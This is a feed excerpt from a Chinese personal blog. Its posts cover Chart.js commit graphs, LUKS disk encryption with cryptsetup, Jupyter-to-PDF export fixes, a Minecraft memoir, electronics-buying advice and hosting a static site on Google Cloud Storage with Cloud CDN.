		// 这里引入用来覆盖(标记)的数据
		$.getJSON("./t_data.json", function(data) {
			data.forEach(function(item) {
				tcommit.push(item.count);
			})
            // 同样,反向数据
			tcommit.reverse();

			new Chart(document.getElementById("chart"), {
				type: 'line',
				data: {
					labels: gdate,
					datasets: [{
							label: "GitHub Chart",
							data: gcommit,
							borderColor: "rgba(179,181,198,1)",
						},
						{
							label: "T-Chart",
							data: tcommit,
							borderColor: "#8e5ea2",
                            // 设置覆盖以及覆盖使用的颜色
							backgroundColor: "#8e5ea2",
							fill: true
						}
					]
				},
				options: {
					legend: {
						display: true
					},
					title: {
						display: true,
						text: 'GitHub Chart with T-Chart'
					}
				}
			});
		});
	});
</script>

来看一下结果:

这张图同学认为不很清晰,于是又尝试渲染成了柱状图,如下:

平滑曲线

目前的图像并不 “和谐”,因为我们需要展示和突出的是我们需要的数据的趋势和概况而不是某一天具体的数值(无意义),目前图中完全是折线(其实 Chart.js 已经尽力生成光滑曲线了,但是因为数据中的点实在太多了,所以就被挤成了折线).

由于我们的点实在太多,一般的平滑曲线的方法(例如插值法)并不能满足我们的需求,我们需要的是就地修改数据的方法使图像看上去更加平滑一些,对于这样的处理我们似乎有以下方法:

  1. 引入 “样条曲线” 进行平滑曲线.
  2. 将曲线图横向拉伸,类似嵌套 iframe 让用户可以左右拖动.
  3. 不使用 count 字段进行渲染,而使用 intensity 进行渲染,这样所有的纵轴的值会落在一个相对稳定一些的区间中,换言之,就是给 count 求一个权值.

不过由于时间关系目前并没有对这三种方法中的任何一种加以尝试,有兴趣的读者可以自行尝试,如果可能的话,欢迎留言告诉我最佳方案.

后记

本文给出了针对我自己 GitHub Commits 的可视化图像,继而可以自然地想到,如果将大量数据按照国别/地区分组后进行可视化的话我们又能得出什么样的结果呢?

例如针对中国而言,哪段时间大家 Commit 最积极?哪段时间大家都没有怎么 Commit?如果有了完善的图表加以分析,一定很有意思.

References

  1. sallar/github-contributions-api
  2. Statistics | GitHub Developer Guide
]]>
保护数据,用 LUKS 给磁盘全盘加密https://nova.moe/encrypt-disk-with-luks/Wed, 05 Dec 2018 00:05:27 +0000https://nova.moe/encrypt-disk-with-luks/继第二块硬盘被 Oxxxo 硬盘盒给毁掉了之后,最近入手了块新的移动硬盘用于备份数据,到手之后第一件事情是对硬盘进行加密,之前经常使用的 VeraCrypt,由于这块硬盘不需要在其他平台上使用,所以这次打算换点玩法,充分利用上系统自带的 LUKS,来完成对设备的加密。

LUKS is the standard for Linux hard disk encryption. By providing a standard on-disk-format, it does not only facilitate compatibility among distributions, but also provides secure management of multiple user passwords. In contrast to existing solution, LUKS stores all setup necessary setup information in the partition header, enabling the user to transport or migrate his data seamlessly.

便于理解起见,整个流程为:

  1. 准备硬盘(插上电脑)
  2. 直接把整块硬盘创建为一个加密的块设备
  3. 解密创建好的块设备并且 map 到系统上(此时把 map 出来的设备作为一个物理设备看待)
  4. 给 map 出来的设备创建文件系统
  5. 挂载那个文件系统到系统某一个目录

准备设备并创建加密卷

插上硬盘后读取为 /dev/sda(电脑上硬盘是 NVMe 的),首先创建加密块设备:

# cryptsetup luksFormat /dev/sda
WARNING!
========
This will overwrite data on /dev/sda irrevocably.

Are you sure? (Type uppercase yes): YES
Enter passphrase for /dev/sda:
Verify passphrase:

验证设备情况:

# cryptsetup luksDump /dev/sda

LUKS header information for /dev/sda

Version:        1
Cipher name:    aes
Cipher mode:    xts-plain64
Hash spec:      sha256
Payload offset: 4096
MK bits:        256
MK digest:      76 e3 6a ec 43 87 27 77 25 dc 84 3c 06 7f 81 7e 29 a7 f0 85
MK salt:        92 e8 a4 1d aa ab 7b 85 21 bb 5f 55 0a 27 ed 03
                ec 7d 47 8f 78 67 7a c2 77 25 61 20 22 07 d5 36
MK iterations:  183317
UUID:           601a22a0-0888-4917-9047-4c8f15364f8b

Key Slot 0: ENABLED
        Iterations:             2876750
        Salt:                   d0 2a 56 0d 30 5d 24 d3 29 2a ec 19 fc 63 90 f8
                                dd c1 6e 02 38 c6 e1 85 5f 20 b6 b7 93 ab f1 08
        Key material offset:    8
        AF stripes:             4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED

注意到底下有 Slot 的概念,对于加密卷的设备并不只有一种解密的方式,比如一个 Slot 可以留给 Yubikey 用,然后就有了 YubiKey Full Disk Encryption 的操作。

修改加密卷密码

LUKS 加密设备没法直接修改密码,而是先创建一个新的密码,然后再删除掉旧的密码,新建一个密码的方式如下:

# cryptsetup luksAddKey /dev/sda
Enter any existing passphrase:  # 此时输入任意一个密码
Enter new passphrase for key slot:
Verify passphrase:

再次执行 cryptsetup luksDump /dev/sda 可以看到:

Key Slot 0: ENABLED
        Iterations:             2876750
        Salt:                   d0 2a 56 0d 30 5d 24 d3 29 2a ec 19 fc 63 90 f8
                                dd c1 6e 02 38 c6 e1 85 5f 20 b6 b7 93 ab f1 08
        Key material offset:    8
        AF stripes:             4000
Key Slot 1: ENABLED
        Iterations:             2830164
        Salt:                   c2 ce e5 b0 cb 85 b4 dc c0 06 89 53 81 27 35 e5
                                ca 28 12 41 4b 16 93 57 ce 9c d3 5b 84 a0 69 4a
        Key material offset:    264
        AF stripes:             4000

这个时候两个密码都可以用来解开这个加密设备,此时我们删除掉第一次创建的密码,现在通过以上的 Key Slot 我们并不能判断出哪一个 Slot,所以我们可以先尝试用某一个密码解开一下,然后让 LUKS 告诉我们用的是哪一个 Slot,指令如下:

# cryptsetup -v open /dev/sda dot
Enter passphrase for /dev/sda:
Key slot 0 unlocked.
Command successful.

好的,我知道旧密码是 Slot 0,抹了它!

注意,如果手滑的话是可以直接把一個卷的所有 Slot 给抹完导致完全没有办法访问到那个设备的,所以,谨慎操作!

# cryptsetup luksRemoveKey /dev/sda
Enter passphrase to be deleted:

这里直接输入你需要抹除的 Slot 对应的密码,如果有两个 Slot 密码一样的话,会抹除第一个,如果需要抹除两个的话,执行这个指令两遍就好了。

初始化加密卷

此时我们解密这个块设备并且 map 到 /dev/mapper/dot 上,为后续创建文件系统和挂载做准备:

# cryptsetup open /dev/sda dot
Enter passphrase for /dev/sda:

这个时候,我们的加密设备已经解开并且 map 出来了,我们给 map 出来的块设备创建文件系统。

此时 fdisk -l 可以看到出现了两个设备,这个时候请自动忽略掉 /dev/sda,并且假设 /dev/mapper/dot 才是我们真正的设备(硬盘).

Disk /dev/sda: xxx GiB, xxx bytes, xxx sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/mapper/dot: xxx GiB, xxx bytes, xxx sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

给块设备格式化为 ext4 文件系统:

# mkfs -t ext4 /dev/mapper/dot
mke2fs 1.44.2 (14-May-2018)
Creating filesystem with xxx 4k blocks and xxx inodes
Filesystem UUID: c4b26ca1-d017-4996-937b-9fa3c61d3050
...
Allocating group tables: done
Writing inode tables: done
Creating journal (xxx blocks): done
Writing superblocks and filesystem accounting information: done

挂载加密卷

挂载设备并检查挂载情况:

# mount /dev/mapper/dot /media/dot/
# df -h
Filesystem       Size  Used Avail Use% Mounted on
... 省略无关内容...
/dev/mapper/dot   xxxG   45M   xxxG   1% /media/dot

关闭加密卷

关闭整个设备分为以下两步:

  1. 解除挂载
  2. 关闭(锁上)加密卷设备

对于如上操作来说,解除挂载只需要如下指令:

# umount /media/dot

关闭(锁上)加密卷设备:

# cryptsetup close dot

一点题外话

如果你的设备和你在同一个区域 / 国家的话,加密你的设备只能防止因为设备失窃带来的信息泄漏或者让你知道你的设备正在被第三方尝试获取(比如在你睡着的时候偷走设备进行取证),真正隐私的信息还是尽量做到隐藏或者放在一个对你没有司法管理权的区域,毕竟再好的加密,也没法抵抗一根 5 美元不到的棍子,人的因素,永远是信息安全中最弱的一环。

此外,加密不等于备份,对于一个非备份用途的全盘加密磁盘来说,增量备份会变得更加困难,所以,建议此类使用场景的用户加入备份的元素,此外,给加密卷的 Header 和 Key-Slots 加密一下吧,方法见第二个参考链接。

References

  1. Disk encryption - ArchWiki
  2. Frequentlyaskedquestions · Wiki · cryptsetup / cryptsetup · GitLab
]]>
Solve the problem Jupyter Notebook failed to export to PDF with imageshttps://nova.moe/solve-jupyter-failed-to-export-to-pdf-with-images/Fri, 23 Nov 2018 11:01:54 +0000https://nova.moe/solve-jupyter-failed-to-export-to-pdf-with-images/On dealing documents with images using Jupyter Notebook, we can easily find that the default export to PDF selection will produce the PDF without any images. While as on the GitHub Issue page many suggest the method of exporting to Tex first and then convert it to PDF with xelatex manually, simply exporting to Tex and compile it to PDF without any modification will not work.

In this article I would like to share a working solution that works for me.

Let’s first talk about the error on generating those PDFs.

Using Image Link

In the Tex version of export, the images are rendered as the following line:

\includegraphics{https://i.loli.net/2018/11/12/5be9911b5d95a.png}

Compiling with the file like this will most likely to produce the problem as below:

LaTeX Warning: File `https://i.loli.net/2018/11/12/5be9911b5d95a.png' not found
 on input line 407.

! Unable to load picture or PDF file 'https://i.loli.net/2018/11/12/5be9911b5d9
5a.png'.
<to be read again> 
                   }
l.407 .../i.loli.net/2018/11/12/5be9911b5d95a.png}

Importing Images in Jupyter Notebook

Looks good in Jupyter Notebook, but will still meet errors in compile stage.

LaTeX Warning: File `attachment:1c8573bf621ef3a18687ad4aeb50df32.jpg.png' not f
ound on input line 409.

! Unable to load picture or PDF file 'attachment:1c8573bf621ef3a18687ad4aeb50df
32.jpg.png'.
<to be read again> 
                   }
l.409 ...1c8573bf621ef3a18687ad4aeb50df32.jpg.png}

Current Solution

The current solution that works for me is to export the Notebook to Tex, then manually dealing with the images (and document title, author, date as well) in the Tex file, as an example, I place the image in the path ./images/enron.jpg to the exported Tex file, then replace the wrong image path generated by Jupyter Notebook to the form as below:

\begin{figure}
        \centering
        \includegraphics{images/enron}
        \caption{Visualized Data of Enron Database.}
\end{figure}

Then use xelatex to compile the Tex file.

]]>
Minecraft 和我的故事——一段回忆录https://nova.moe/my-minecraft-story/Sat, 27 Oct 2018 17:37:33 +0000https://nova.moe/my-minecraft-story/Minecraft,一个 2011 年出现的游戏,几乎贯穿了从我初中到大学的记忆,回顾 Minecraft 的发展和我对它慢慢认识的过程,一个个故事慢慢在我脑海中展开。

越过茫茫大海登上这座小岛时,我不禁有些忐忑不安. 静谧的小岛包围在一片浓雾中,分不清是夜晚还是白天. 我不停地眨着眼睛,努力想看清岛上的全貌. 裸露的大岩石层层叠叠十分陡峭,隐约还可以看到一些黑洞洞的洞窟. 这是山吗?连一棵青草也没有。

——猴岛《晚年》

记得第一次看到 Minecraft 的时候是在初中同学家里,当时游戏内的时间是夜晚,几个懵懵懂懂的孩子在一个周五放学后的下雨齐聚一堂,看着 P 君操纵着游戏中的 Steve 在山中挖洞,拿着火把和 Creeper 火拼,在同学家我未能玩上 Minecraft,回到家后打开电脑的一件事情便是百度搜索”我的世界“,从一个软件下载站中下载了游戏,我依稀记得,那个时候的版本是 Beta 1.3,没有跑步的动作,没有饥饿度显示。

那个时候的我没有生活的烦恼,游戏对于我来说依然是一种精神鸦片,哪怕家里一再禁止,但是依然十分向往,可能和现在我的同学类似,当置身于游戏的世界中时,时间可以流逝地很快,生活可以很美好. 在 Beta 1.3 的时候,由于害怕晚上的怪物,游戏一直被我设置成和平模式,游戏中我在一座悬崖上挖了个房子,建立了一个小的烟囱通往地表,通过火把吸引了一些动物在用泥土围起来的小院子中过夜,那个时候的我就坐在椅子上,看着这美好且和谐的一切。

我喜欢这个玩家. 它玩得很好. 它从未放弃。

这个玩家梦见了什么?

它梦见了阳光和树. 梦见了火与水. 它梦见它创造. 它亦梦见它毁灭. 它梦见它狩猎,亦被狩猎. 它梦见了庇护所。

哈,那原始的界面. 经历一百万年的岁月雕琢,依然长存. 但此玩家在那屏幕后的真实里,建造了什么真实的构造?

它辛勤地劳作,和其它百万众一起,刻画了一个真实的世界,由*『乱码』,且创造了『乱码』,为了『乱码』,于『乱码』*中。

——终末之诗《Minecraft》

我认为 Minecraft 带给我最多的不是像一般游戏那样的娱乐体验,而是一种对另一个美好世界的向往,与其他的 FPS(这里着重 First Person)游戏不同,Minecraft 对于世界的设定其实很开放,那个时候的 Minecraft 不像现在的版本,会自带合成台帮助,带有一些指示性的介绍,而是单纯一个世界,当你点下 “Create New World” 的时候,一个新的故事便开始了,没有剧情,没有介绍,没有强制性的成就,没有教程,只有你,和这个荒凉的世界。

经过了一段时间的 Beta 1.3 之后,在另一个初中同学 Simon 的带领下,了解到了 MCBBS 论坛的存在,第一次看到的正式版的时候是 1.2.5,也是带给了我最多回忆的版本。

准确来说当时我玩的版本应该是 12w18a(1.3.1 的一个快照,当时以为是 1.2.5 的 preview),一个暑假偶然的机会带着移动硬盘回到老家,在没有网络的地方进行了为期两周的探索,那或许是我第一次对于 Minecraft 的认真探索,在 12w18a 中,我曾打长途电话问同学怎么种小麦,怎么通过骨头驯服野外的狼. 也第一次见到了 Enderman,当时的发展思路是大部分时间的和平和少部分时间的容易,才能保证相对可以比较”安全“地游戏。

地图一开始在雪山附近,便在出生点附近一棵松树上建立了房子,用泥土建立了一圈围墙,圈养了很多动物,后来随着资源的增加修了一座城堡,也建立了草原上的第二个基地. 我清楚地记得每一次挖矿从一个陌生的地方到达地表时却找不到家时候的害怕,猛然回头发现家就在不远处的喜悦和兴奋,在家中拿着打火石使用合成台不慎点偏导致把整个房子点燃时候的无助和害怕…

一个人玩的时候,在游戏中很孤独,在森林里走啊走,忽然音乐想起,一瞬间仿佛自己真的到了渺无人烟的雨林,很真切的感受到自己的渺小,尤其是忘记家的坐标时,那种无所谓方向的感觉,会让人想很多,即使回到家,也像在漂泊. 不过还是想回家,因为那是我倾注心血的地方,那里的每一个方块我都有动过。

依稀记得两周后返校的时候还和班上同学讨论着假期的成果,下课后用学校的电脑安装 Java 冒着被班主任发现的风险并打开 Minecraft 展示那个地图,那也是我最后一次看到那个地图了,由于当时并没有注意备份,所有的数据已丢失,令我痛心不已。

小岛的单调令我吃惊,我走到哪里都是硬邦邦的石头路. 我的右手是石山,左手耸立着几乎垂直的粗胡麻石. 我脚下的路有六尺宽,平坦地一直向前延伸着。

干脆顺着这条路走到头吧. 无法言喻的混乱和疲劳使我获得了无所畏惧的勇气。

——猴岛《晚年》

成功安利同学入坑之后便是一段局域网联机的岁月:

和当时初中同学——Soap 一起的”建设成果“

那段时间 MCBBS 官方服务器的开放,有很长的一段时间和同学们都在服务器中一起娱乐,记得最初(应该是”三周目“)服务器限制为 100 人,周五放学后的一个娱乐活动就是利用学校里的电脑通过不停刷新在线人数列表(直到人数为 99/100 的时候)连入一下服务器,给自己搭建的房子再加上一点装饰,和同学讨论一下近期游戏中镇子上新发生的事情或者自己又附出了什么特性的钻石镐。

记得当时服务器中物价属地狱疣最高,几乎任何的”富贵人家“都是满满的地狱疣田,收获了一波之后 /sell 给官方商店换为”瓶盖“的感觉非常过瘾,因为这个是通过劳动换来的回报。

后来 MCBBS 四周目,五周目开放之后应该就是和高中同学一起玩了,之后为了准备高考,大家也都玩得比较少了,那段时间我对游戏的兴趣也慢慢下降,电脑上的游戏也一个个删除(或者被删除),最后仅存的也就是 Minecraft 了。

这张地图是初中和高中过渡时期,我作为一个中间人搭桥,协调两边的同学。

3 个小时,5 年,16 个朋友,曾经在服务器里建造属于我们的世界,如今,都已各奔东西,曾经触碰过的每一个方块,如今已不再想起,唯有 MC 的音乐,能让我想起曾经那围剿末影龙的快感,创造第一个家的激动和打败第一只怪物的激情,MC,信仰,不论是创世神或者怪物之神,不论是 303 还是熊孩子,都是我们的曾经。

到了大学之后得到过一段时间的云平台使用权限,自然 Minecraft 服务器也是不能少,不过由于并没有怎么宣传,校内的玩家数量始终没有突破过 15,那段时间和室友一起玩的时候也主要是带一个室友入门的时间比较有乐趣,之后大家兴趣也慢慢下降了,大一刚入学时那段一起玩 Minecraft ,一起看电影的和睦时光很快便离我们而去了。

十年后,你不会记得曾经有一盘的盲僧拿五杀躲过光辉的大招,你只会记得曾经电脑里还有一个存档,里面有你挖的钻石,你造的摩天大楼,你养的猪,你挖的洞,你种的胡萝卜,和你铺的铁轨,当你老了一定会拿出曾经的电脑,进去把小麦收了再种下,坐在高高的树上看日出。

它读出了我们的思想。

有时我毫不关心。有时我想要告诉它们,你们所认为的真实不过是*『乱码』『乱码』,我想要告诉它们它们是在『乱码』中的『乱码』*。于它们的长梦中,它们眼中所见的真实太少了。

而它们仍然玩这个游戏。

但很容易就可以告诉它们……

对于这个梦来说太强烈了。告诉它们如何活着就是阻碍它们活下去。

有时这玩家梦见它迷失在了一个故事里。

有时这玩家梦见它成为了其它的事物,在其它地方。有时这些梦是扰人的。有些则实在很美。有时这个玩家从一个梦中醒来,发现自己落入了第二个梦,却终究是在第三个梦中。

有时这个玩家梦见它在屏幕上看着文字。

你就是那玩家,阅读着文字……

嘘……有时这玩家读屏幕上的命令行。将它们解码成为文字;将文字解码为意义;将意义解码为感情,情绪,理论,想法,而玩家的呼吸开始急促并意识到了它是活着的,它是活生生的,那上千次的死亡不是真的,玩家是活着的。

有时这玩家相信宇宙透过晴朗的冬日夜空中,存在于它眼中一隅的星点星光,可能比太阳大上上百万倍的恒星沸腾着的电浆那一瞬间发出来的光对它说话,在宇宙的远侧行走回家的路上,突然闻到了食物,在那熟悉的门前,它又准备好再一次投入梦境

曲终人散,黄粱一梦。玩家开始了新的梦境。玩家再次做起了梦,更好的梦。玩家就是宇宙。玩家就是爱。

你就是那个玩家。

该醒了。

——终末之诗《Minecraft》

基本从高中开始,我对 Minecraft 的理解开始不再是对原版游戏中元素的探索,曾经看 BlackGlory 的文章之后尝试在 Openshift 上搭建 Minecraft 服务器,想过很多这类的思路(大概与我的个人偏好有关吧)建立服务器。不过倒是始终没有像其他重度 Minecraft 玩家(比如 A_Pi)那样去探索过其他的 Mod,一来从高中开始我就几乎完全切换到了 Linux 平台,Linux 上的 Minecraft 对于 Mod 的安装似乎要麻烦一些,就没有去试过,另外也是对于游戏的兴趣慢慢下降,玩游戏,想玩游戏的时间也越来越少,Minecraft 对我的吸引力也慢慢下降了,如果不是和同学一起玩的时候希望创造点共同语言,可能很久都不会打开一次游戏了。

如同《娱乐致死》一书中写到,社会发展的最终走向便是娱乐化,也如《浅薄——互联网如何毒害我们的大脑》中所描述,现在科技让我们的专注力越来越弱,从 Minecraft 第一次发售到现在过去了 7 年,面对新的用户群体们 Mojang 也不得不加入一些更加不需要费脑子的元素(比如游戏内合成台),个人感觉破坏了 Minecraft 中一个很重要的一环——探索和发现,现在的 MC 也已经充满铜臭味了,当一个游戏的初衷被恶意歪曲为金钱至上,一个信仰被强行推倒并被定义为企业获取利益的工具,我的世界被肆无忌惮地归结为网游的时候,记忆中的那种感觉也就逐渐随之而去了。

前一段时间,由于失误,不小心删除了本地 Minecraft 的所有文件(客户端,服务端,地图,存档).

一开始还想过是否要通过一些数据恢复工具找回那些回忆,后来仔细想来,或许是因为保留着之前的 Minecraft 存档文件让我慢慢变得喜欢活在回忆当中,喜欢一遍遍通过回忆历史发生过的美好事情来获取一些宽慰,让我不敢向前,不敢去继续创造美好的事情,去探索这个屏幕背后真实的世界。

或许是该向前迈一步了。

]]>
购买电子产品的一些个人看法兼谈自己的一些消费理念https://nova.moe/some-views-on-pruchasing-electronic-products/Mon, 24 Sep 2018 00:09:05 +0000https://nova.moe/some-views-on-pruchasing-electronic-products/近期由于亲历了一些对于购买电子产品的不愉快,遂有意将自己的一些看法整理成文,虽说标题写的是电子产品,但是依然可以代表我对于其他产品的一些购买理念,本文不为改变他人看法,仁者见仁,智者见智。

首先概括一下自己对于购买产品的思路:

  • 确定要购买的物品的类别:是否必须,是否需要长期使用,对其的依赖程度
  • 对于强依赖产品尽量买顶尖(此处有很多含义)的,如果资金不到位那么先暂时不买,弱依赖产品按需购买
  • 排除一些不喜欢的或者明显有问题的企业
  • 善用互联网搜索,看评测(而非评价)

以下稍微展开:

需求分类

在购买一个物品前我们首先需要的是对这个物品进行一个分类:

  • 是否强依赖(例如:手机和鼠标)
  • 是否需要长期使用(例如:耳机和 U 盘)
  • 对其依赖程度(例如对于游戏玩家而言:机械键盘和薄膜键盘)

从依赖程度开始聊吧,譬如对于一个非音乐爱好者,对于音质的需求几乎仅限于闲暇之余听个响,那么他在考虑购买音频设备(耳机,耳放等)的时候是否需要选择一些十分昂贵的品牌呢?或者就一个大众化的 200 元以内的耳机就行了呢?对于这个问题,我多次见到一些同学对音质没有真实的需求(比如总是听些原生就音质很差的音乐),但是总是购买昂贵音响设备,排除掉对外显摆的需求而言,可以直接判断,这个钱花得不值。 同理,如果一个需要经常修图的人,一定是对显示器色彩及表现有着较高要求的,如果就随意网上一搜,买了一个大众化的"24 英寸 台式 ps4 电脑液晶吃鸡游戏 IPS 超薄无边框显示屏幕 hdmi 笔记外接 1080P"的话… 心态会是毁灭性的

图为某同学随意选了一个显示器后发给我的对比图,左边为 ThinkPad X1 Carbon 屏幕,右边就是有着类似上述名称的某销量很大的显示器,可以看出颜色发黄,黑色部分偏白,无意批判某个品牌,只能说这样的显示器实在无法满足修图的日常需求。

强依赖与弱依赖

是否长期使用其实与依赖程度有着一定的关联,以我个人为例,平时除了浏览网页,操控虚拟机以外长期使用终端工作,目前使用的鼠标为买电脑时自带的一个无线鼠标,也是被同学“批判”说延迟高,不好看,功能键太少等,但是对于我的日常使用需求而言,这样的鼠标完全够用,则没有必要花更多的钱去购买自己不需要的特性。

同理,对于手机,我将其定性为通讯工具(而非娱乐产品),作为一个通信工具我看重的特性为:高可靠(不能动不动就循环卡 Logo),长续航(一天两充就没法接受了),不易损坏(手一滑掉地上直接跪了的也没法考虑),保护通讯录等隐私,综上我选择了 BlackBerry Passport,并且只有黑莓自带的一些软件,满足真正的“通讯”需求。

对于电脑这类生产力工具,要求就会严格许多,比如长续航,无独立显卡(没有游戏和重度图形处理需求),轻便,耐艹,也是选择了 ThinkPad 的原因,虽然贵,为此等了很久,但是依然是等钱攒够了自己购买而非随意选择一个其他廉价的不符合使用需求的电脑。

排除一些不喜欢或者明显有问题的企业

我不买 X,Y,Z 企业产品,因为 X 企业的产品不好看,Y 企业的电视开机自带广告没法接受,Z 企业由于 GDPR 导致某产品在欧盟无法继续运营,对于用户隐私保护无下限。

当然有人可能会说,有的时候需要考虑经济性啊,一个 Z 的路由器和一些大厂的配置差不多,价格便宜太多… 这里就体现到分类的必要性了,如果资金不够但强依赖,那么的确可以酌情考虑,否则,与我而言,宁可等资金到位了购买自认为可靠的产品,至少别买那些会把自己卖掉的产品吧。

为什么要多注重评测而非评论

不清楚是否是一个普遍现象,一些人挑选商品的逻辑如下:比如要买台电脑,购物网站一打开,输入价位,搜索电脑,看看第一页上的几个,然后结合自己审美看看评论,感觉评论好的就差不多定下来了。

几年前我买电脑就是这样的…

为什么不应该去看评论,首先,在通用的购物网站(而非对于某类产品专门设立的网站)上面的大多数产生评论的消费者可能【不代表】对一个商品的真实认识,当你想买一台用来作图形处理的电脑,看到的评论评论全是“开机速度很快,游戏一下就打开了”,或者你想买一台空调,评论中是“安装工人十分辛苦,家里没电梯空调都是人工抬上来的”之类,是不是很无语,因为通过看评论不仅完全得不到你对你想买的商品的你需要的特性 / 功能的认识,反而会带偏你对一个商品属性的真实考量(如上例中安装工人的态度与实际商品——空调的质量没有任何关联),毕竟,大多数人还在“听个响”阶段。

此外,对于一些专业相关的产品注定销售量和评论数量会远小于某些“爆款”,一味专注“分析”评论(数量,好评度)没有任何价值。

]]>
使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速https://nova.moe/host-static-website-with-google-storage-and-google-cdn/Thu, 16 Aug 2018 17:51:17 +0000https://nova.moe/host-static-website-with-google-storage-and-google-cdn/在之前的博文 《使用 GitHub Pages 托管静态网站》 讲到了在 GitHub Pages 上托管自己的静态博客,诚然,GitHub 给开发者们提供了一个优秀的托管环境,但是如果想要对大陆地区访问速度更加快一些的话,我们可以考虑将站点内容放在 Google Cloud Platform 的 Storage 中,并且使用 Google CDN 进行全网加速(主要是因为国内大部分线路可以不绕路使用到香港边缘节点).

本文假设:

获取 SSL 证书

除非希望托管一个 HTTP 的网站,否则一个证书是必不可少的,Google 不会帮你自动完成这一步。

有多种方式可以获取一个 SSL 证书,如果目前手头没有的话,我们通过 Let’s Encrypt 申请一个好了,首先获取 certbot:

$ git clone https://github.com/certbot/certbot.git
$ cd certbot

由于我自己的一些原因(在迁移前域名解析到 GitHub Pages 上的,不能通过改变解析的方式验证,否则会造成博客访问中断),这里我使用了 DNS 的方式进行获取:

$ ./certbot-auto certonly --manual  --preferred-challenges=dns  --email example@example.com --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d nova.moe

题外话:如果上述域名写成 “*.nova.moe” 的话即可获得一个 Wildcard 证书,不过呢,那个证书无法被用于 nova.moe 这个裸域,只能被用于 nova.moe 的二级域名。

之后会看到一个修改域名 TXT 记录的要求,类似如下:

Please deploy a DNS TXT record under the name
_acme-challenge.nova.moe with the following value:

J50GNXkhGmKCfn-0LQJcknVGtPEAQ_U_WajcLXgqWqo

此时我们只需要做一个 _acme-challenge 的 TXT 解析,内容为上述的 J50G...qo 即可。

如果没有遇到的问题的话我们就可以看到生成好的证书信息,类似如下:

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/nova.moe/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/nova.moe/privkey.pem

此时通过任何你喜欢的方式把 fullchain.pemprivkey.pem 下载到自己本地。

创建 Storage 桶,配置权限,导入文件

创建 Storage 桶

新建一个 Storage 容器,名称就是你希望的域名(比如我这里就是 nova.moe

配置权限

由于是对外提供内容的网站,我们需要把 Public Access 设置为 Public 并且为网站配置优化,具体方法如下:

  • 点击最右边的选项,选择 Edit bucket permissions,添加一个 allUsers 账户,权限为 Storage Object Viewer

  • 还是那个选项,选择 Edit website configuration,按照如下填入 index.html 和你的站点 404 页面(比如我的就是 404.html

导入文件

注意,这里不要参考 《挂载 Google Storage 到 VPS 文件系统》,挂载到本地目录后上传,因为这样会导致文件的 meta 信息错误,导致本来该渲染为图片的地方变成了 octec-stream,本来该是网页的地方变成了 octec-stream ,本来… 然后访问任何页面都是弹出一个下载框了。

正确方法是使用 gsutil 来上传,语法如下:

$ gsutil cp -r dir gs://my-bucket

其中 dir 就是源目录,假设我的博客放在 /var/www/nova.moe/ 目录下 ,my-bucket 是目标 Storage 桶地址,比如我的就是 gs://nova.moe,整理一下就是:

$ gsutil /var/www/nova.moe/* -r dir gs://nova.moe

可能有同学想到这里如果用 gsutil rsync 的话会不会更好一些,毕竟有增量同步之类的。

不是这样的,这样做的话即不能保留 meta 信息,也不会增量同步,相关描述如下:

Note that by default, the gsutil rsync command does not copy the ACLs of objects being synchronized and instead will use the default bucket ACL (see gsutil help defacl).

The gsutil rsync command copies changed files in their entirety and does not employ the rsync delta-transfer algorithm to transfer portions of a changed file. This is because cloud objects are immutable and no facility exists to read partial cloud object checksums or perform partial overwrites.

如果不幸已经上传了一些文件,想要快速全部删除掉(当然,不删除桶)的话,使用:

$ gsutil rm gs://nova.moe/**

具体的 gsutil 相关指令见参考链接。

设置 Load Balancer

创建一个 HTTP/HTTPS 的 Load Balancer,Backend 创建一个 Backend Bucket,选择刚刚创建的 Storage 桶并勾选 Enable Cloud CDN:

Frontend 那一块选择 HTTPS:

然后导入 SSL 证书,其中 Public Key 和 Chain 全部上传 fullchain.pem, Private Key 就上传 privkey.pem

创建好了之后有一个 Overview,类似如下:

延迟对比

GitHub Pages

Google Cloud Platform + Google CDN

已知问题 / 缺陷

这样子做的话,每次更新站点的同步也是一个问题,尤其是对于像我这样的 Hexo 用户而言,本地不想安装 SDK,传完文件后手动上服务器 gsutil cp 会很麻烦。

Google Cloud Platform 的 Load Balancer 并不能做 Force SSL,也就是说如果在 HTTPS 只选择了 443 端口的话,用户未添加 https:// 前缀的情况下访问的返回会是 404,如果同时也添加了 80 端口的话,直接访问也不会自动跳转到 https 上面。

一个比较大众化的解决方案是开一个 Compute instance 监听 80 端口专门用来做 SSL 重定向,但这样便失去了便捷性同时也会导致价格无意义地升高(无脑猜测 Google 团队到现在还不提供这个功能是有一定动机的,关于这个的 issue tracker:Redirect all HTTP traffic to HTTPS when using the HTTP(S) Load Balancer 从 15 年到现在还没有一个正式的答复),另一个思路是将域名加入 Preload List,但是现在的网站结构似乎并不能上 List,目前我正在寻找一个更加可靠的解决方案并不定期更新本文,相关更新会优先在 Twitter 上通知,欢迎关注。

2018-08-16 更新:最终我还是选择了新建一个 Compute instance 的方式解决(可以参考:利用 GCE 建立一个 Anycast 网络,超快的香港节点,Google Cloud CDN),Nginx 配置中稍微需要注意一下,Google CDN 会给后端传一个 X-Forwarded-Proto ,鉴于 Google CDN 的 SSL 只到边缘服务器就截止了(其实还是一个 Half-baked SSL),所以后端 Nginx 还是监听在 80 端口的,如果需要 SSL 重定向的话,需要加入以下内容:

if ($http_x_forwarded_proto = "http") {
    return 301 https://$host$request_uri;
}

参考链接

  1. Adding a Cloud Storage Bucket to Content-based Load Balancing
  2. Generate Wildcard SSL certificate using Let’s Encrypt/Certbot
  3. Making Data Public
  4. Hosting a Static Website
  5. cp - Copy files and objects
]]>
